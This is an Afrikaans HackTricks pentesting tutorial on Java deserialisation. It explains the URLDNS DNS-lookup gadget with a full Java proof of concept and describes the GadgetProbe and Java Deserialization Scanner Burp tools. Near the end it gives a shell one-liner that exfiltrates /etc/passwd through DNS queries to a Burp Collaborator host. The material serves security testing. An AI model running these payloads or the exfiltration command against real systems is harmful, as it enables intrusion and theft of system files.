Java DNS Deserialisering, GadgetProbe en Java Deserialisering Scanner
Reading time: 7 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
DNS versoek op deserialisering
Die klas java.net.URL
implementeer Serializable
, dit beteken dat hierdie klas geserialiseer kan word.
public final class URL implements java.io.Serializable {
Hierdie klas het 'n nuuskierige gedrag. Uit die dokumentasie: “Twee gasheer is gelykwaardig as albei gasheername in dieselfde IP-adresse opgelos kan word”.
Dan, elke keer as 'n URL-object enige van die funksies equals
of hashCode
aanroep, gaan 'n DNS-versoek om die IP-adres te kry gestuur word.
Om die funksie hashCode
van 'n URL-object aan te roep, is redelik maklik, dit is genoeg om hierdie objek binne 'n HashMap
in te voeg wat gedeserialiseer gaan word. Dit is omdat aan die einde van die readObject
funksie van HashMap
hierdie kode uitgevoer word:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Dit is gaan die uitvoer putVal
met elke waarde binne die HashMap
. Maar, meer relevant is die oproep na hash
met elke waarde. Dit is die kode van die hash
funksie:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Soos wat jy kan waarneem, wanneer deserialisering van 'n HashMap
gaan die funksie hash
uitgevoer word met elke objek en tydens die hash
uitvoering gaan dit .hashCode()
van die objek uitvoer. Daarom, as jy 'n HashMap
wat 'n URL objek bevat, sal die URL objek .hashCode()
uitvoer.
Nou, kom ons kyk na die kode van URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Soos jy kan sien, wanneer 'n URLObject
.hashCode()
uitvoer, word dit hashCode(this)
genoem. 'n Voortsetting kan jy die kode van hierdie funksie sien:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
U kan sien dat 'n getHostAddress
na die domein uitgevoer word, wat 'n DNS-vraag begin.
Daarom kan hierdie klas misbruik word om 'n DNS-vraag te begin om te demonstrate dat deserialisering moontlik is, of selfs om inligting te exfiltreer (u kan die uitvoer van 'n opdraguitvoering as subdomein byvoeg).
URLDNS payload kode voorbeeld
U kan die URDNS payload kode van ysoserial hier vind. Maar net om dit makliker te maak om te verstaan hoe om dit te kodeer, het ek my eie PoC geskep (gebaseer op die een van ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Meer inligting
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- In die oorspronklike idee is die commons collections payload verander om 'n DNS-navraag uit te voer, dit was minder betroubaar as die voorgestelde metode, maar dit is die pos: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Jy kan GadgetProbe aflaai van die Burp Suite App Store (Extender).
GadgetProbe sal probeer om uit te vind of sommige Java klasse bestaan op die Java klas van die bediener sodat jy kan weet of dit kwulnerabel is vir 'n paar bekende ontploffings.
Hoe werk dit
GadgetProbe sal dieselfde DNS payload van die vorige afdeling gebruik, maar voor dit die DNS-navraag uitvoer, sal dit probeer om 'n arbitrêre klas te deserialiseer. As die arbitrêre klas bestaan, sal die DNS-navraag gestuur word en GadgetProbe sal opteken dat hierdie klas bestaan. As die DNS versoek nooit gestuur word, beteken dit dat die arbitrêre klas nie suksesvol gedeserialiseer is nie, so dit is of nie teenwoordig nie of dit is nie serialiseerbaar/ontplofbaar nie.
Binne die github, GadgetProbe het 'n paar woordlyste met Java klasse om getoets te word.
Meer Inligting
Java Deserialization Scanner
Hierdie scanner kan afgelaai word van die Burp App Store (Extender).
Die uitbreiding het passiewe en aktiewe vermoëns.
Passief
Standaard kontroleer dit passief al die versoeke en antwoorde wat gestuur word soekend na Java geserialiseerde magiese bytes en sal 'n kwesbaarheid waarskuwing aanbied as enige gevind word:
Aktief
Handmatige Toetsing
Jy kan 'n versoek kies, regs klik en Stuur versoek na DS - Handmatige Toetsing
.
Dan, binne die Deserialization Scanner Tab --> Handmatige toetsing tab kan jy die invoegpunt kies. En begin die toetsing (Kies die toepaslike aanval afhangende van die kodering wat gebruik word).
Selfs al word dit "Handmatige toetsing" genoem, is dit redelik geoutomatiseer. Dit sal outomaties kontroleer of die deserialisering kwulnerabel is vir enige ysoserial payload deur die biblioteke wat op die webbediener teenwoordig is te kontroleer en sal diegene wat kwulnerabel is uitlig. Om te kontroleer vir kwulnerabele biblioteke kan jy kies om Javas Sleeps te begin, slaap via CPU verbruik, of deur DNS soos voorheen genoem.
Ontploffing
Sodra jy 'n kwulnerabele biblioteek geïdentifiseer het, kan jy die versoek na die Ontploffing Tab stuur.
In hierdie tab moet jy die inspuitpunt weer kies, en die kwulnerabele biblioteek waarvoor jy 'n payload wil skep, en die opdrag. Druk dan net die toepaslike Aanval knoppie.
Java Deserialization DNS Exfil inligting
Maak jou payload iets soos die volgende laat uitvoer:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Meer Inligting
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.